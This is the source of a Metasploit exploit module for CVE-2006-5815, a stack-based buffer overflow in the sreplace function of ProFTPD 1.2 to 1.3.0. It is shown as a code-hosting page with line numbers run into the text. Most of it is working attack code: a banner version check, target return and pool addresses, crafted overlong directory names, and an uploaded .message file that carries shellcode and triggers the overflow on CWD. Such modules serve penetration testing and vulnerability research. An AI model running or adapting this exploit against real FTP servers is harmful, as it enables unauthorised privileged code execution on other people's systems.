Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/ftp/proftp_sreplace.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(update_info(info,12'Name' => 'ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)',13'Description' => %q{14This module exploits a stack-based buffer overflow in versions 1.2 through151.3.0 of ProFTPD server. The vulnerability is within the "sreplace" function16within the "src/support.c" file.1718The off-by-one heap overflow bug in the ProFTPD sreplace function has been19discovered about 2 (two) years ago by Evgeny Legerov. We tried to exploit20this off-by-one bug via MKD command, but failed. We did not work on this bug21since then.2223Actually, there are exists at least two bugs in sreplace function, one is the24mentioned off-by-one heap overflow bug the other is a stack-based buffer overflow25via 'sstrncpy(dst,src,negative argument)'.2627We were unable to reach the "sreplace" stack bug on ProFTPD 1.2.10 stable28version, but the version 1.3.0rc3 introduced some interesting changes, among them:29301. another (integer) overflow in sreplace!312. now it is possible to reach sreplace stack-based buffer overflow bug via32the "pr_display_file" function!333. stupid '.message' file display bug3435So we decided to choose ProFTPD 1.3.0 as a target for our exploit.36To reach the bug, you need to upload a specially created .message file to a37writeable directory, then do "CWD <writeable directory>" to trigger the invocation38of sreplace function.3940Note that ProFTPD 1.3.0rc3 has introduced a stupid bug: to display '.message'41file you also have to upload a file named '250'. ProFTPD 1.3.0 fixes this bug.4243The exploit is a part of VulnDisco Pack since Dec 2005.44},45'Author' =>46[47'Evgeny Legerov <admin[at]gleg.net>', # original .pm version (VulnDisco)48'jduck' # Metasploit 3.x port49],50'References' =>51[52[ 'CVE', '2006-5815' ],53[ 'OSVDB', '68985' ],54[ 'BID', '20992' ],55[ 'URL', 'https://seclists.org/bugtraq/2006/Nov/94' ],56[ 'URL', 'https://seclists.org/bugtraq/2006/Nov/538' ],57[ 'URL', 'http://bugs.proftpd.org/show_bug.cgi?id=2858' ],58[ 'URL', 'http://proftp.cvs.sourceforge.net/proftp/proftpd/src/main.c?view=diff&r1=text&tr1=1.292&r2=text&tr2=1.294&diff_format=h' ]59],60'DefaultOptions' =>61{62'EXITFUNC' => 'process',63'PrependChrootBreak' => true64},65'Privileged' => true,66'Payload' =>67{68'Space' => 900,69'BadChars' => "\x00\x0a\x0d\x25",70'DisableNops' => 'True',71},72'Platform' => [ 'linux' ],73'Targets' =>74[75#76# Automatic targeting via fingerprinting77#78[ 'Automatic Targeting', { 'auto' => true } ],7980#81# This special one comes first since we dont want its index changing.82#83[ 'Debug',84{85'Ret' => 0x41414242,86'PoolAddr' => 0x4343454587}88],8990#91# specific targets92#9394[ "ProFTPD 1.3.0 (source install) / Debian 3.1",95{96# objdump -D proftpd|grep call|grep edx97'Ret' => 0x804afc8, # call edx98# nm proftpd|grep permanent_pool99'PoolAddr' => 0x80b59f8100}101]102103],104'DefaultTarget' => 0,105'DisclosureDate' => '2006-11-26'))106107register_options(108[109OptString.new('WRITABLE', [ true, 'A writable directory on the target host', '/incoming' ])110])111end112113114def check115# NOTE: We don't care if the login failed here...116ret = connect117118# We just want the banner to check against our targets..119vprint_status("FTP Banner: #{banner.strip}")120121status = CheckCode::Safe122123if banner =~ /ProFTPD (1\.[23]\.[^ ])/i124ver = $1125maj,min,rel = ver.split('.')126relv = rel.slice!(0,1)127case relv128when '2'129status = CheckCode::Appears130131when '3'132# 1.3.x before 1.3.1 is vulnerable133status = CheckCode::Appears134if rel.length > 0135if rel.to_i > 0136status = CheckCode::Safe137else138status = CheckCode::Appears139end140end141end142end143144disconnect145return status146end147148149def exploit150connect_login151152# Use a copy of the target153mytarget = target154155if (target['auto'])156mytarget = nil157158print_status("Automatically detecting the target...")159if (banner and (m = banner.match(/ProFTPD (1\.[23]\.[^ ])/i))) then160print_status("FTP Banner: #{banner.strip}")161version = m[1]162else163fail_with(Failure::NoTarget, "No matching target")164end165166regexp = Regexp.escape(version)167self.targets.each do |t|168if (t.name =~ /#{regexp}/) then169mytarget = t170break171end172end173174if (not mytarget)175fail_with(Failure::NoTarget, "No matching target")176end177178print_status("Selected Target: #{mytarget.name}")179else180print_status("Trying target #{mytarget.name}...")181if banner182print_status("FTP Banner: #{banner.strip}")183end184end185186#puts "attach and press any key"; bleh = $stdin.gets187res = send_cmd(['CWD', datastore['WRITABLE']])188189pwd = send_cmd(['PWD'])190if pwd !~ /257\s\"(.+)\"/191fail_with(Failure::Unknown, "Unable to get current working directory")192end193pwd = $1194pwd << "/" if pwd[-1,1] != "/"195196dir1 = "A" * (251 - pwd.length)197res = send_cmd(['MKD', dir1])198199res = send_cmd(['CWD', dir1])200201res = send_cmd(['PWD'])202203dir2 = "B" * 64204dir2 << [mytarget.ret].pack('V')205dir2 << [mytarget['PoolAddr'] - 4].pack('V')206dir2 << "\xcc" * 28207208res = send_cmd(['DELE', "#{dir2}/.message"])209res = send_cmd(['DELE', "250"])210res = send_cmd(['RMD', dir2])211212filedata = ''213filedata << 'A'214filedata << "\x66\x81\xc2\x5e\x13\x52\xc3"; # add $0x135e, %dx; push %edx; ret215filedata << "\x25C" * 11216filedata << 'A'217filedata << payload.encoded218filedata << rand_text_alphanumeric(900 - payload.encoded.length)219filedata << "\x25\x43\x41" * 10220221res = send_cmd(['MKD', dir2])222res = send_cmd_data(['PUT', "#{dir2}/.message"], filedata, 'I')223224# Trigger sreplace overflow225res = send_cmd(['CWD', dir2])226227handler228disconnect229230end231end232233234